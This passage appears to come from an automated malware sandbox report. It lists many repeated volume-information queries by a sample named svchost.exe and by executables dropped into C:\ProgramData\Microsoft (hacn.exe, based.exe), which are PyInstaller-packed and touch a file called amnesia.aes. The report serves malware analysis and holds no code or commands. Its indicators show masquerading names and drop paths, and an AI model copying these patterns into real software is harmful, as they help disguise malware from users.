Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\Desktop\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\svchost.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI57402\Build.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\certifi VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\cryptography-43.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\cryptography-43.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\cryptography-43.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\cryptography-43.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\cryptography-43.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\cryptography-43.0.1.dist-info\license_files VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\cryptography-43.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\cryptography-43.0.1.dist-info\license_files VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\h2-4.1.0.dist-info VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\h2-4.1.0.dist-info VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\h2-4.1.0.dist-info VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\h2-4.1.0.dist-info VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\h2-4.1.0.dist-info VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\win32 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\hacn.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74122\zstandard VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\_ctypes.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\amnesia.aes VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\amnesia.aes VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\amnesia.aes VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\amnesia.aes VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\amnesia.aes VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\amnesia.aes VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\amnesia.aes VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\_lzma.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\_bz2.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\_sqlite3.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\select.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\base_library.zip VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482\_ssl.pyd VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI74482 VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
Source: C:\ProgramData\Microsoft\based.exe	Queries volume information: C:\ProgramData\Microsoft\based.exe VolumeInformation	Jump to behavior
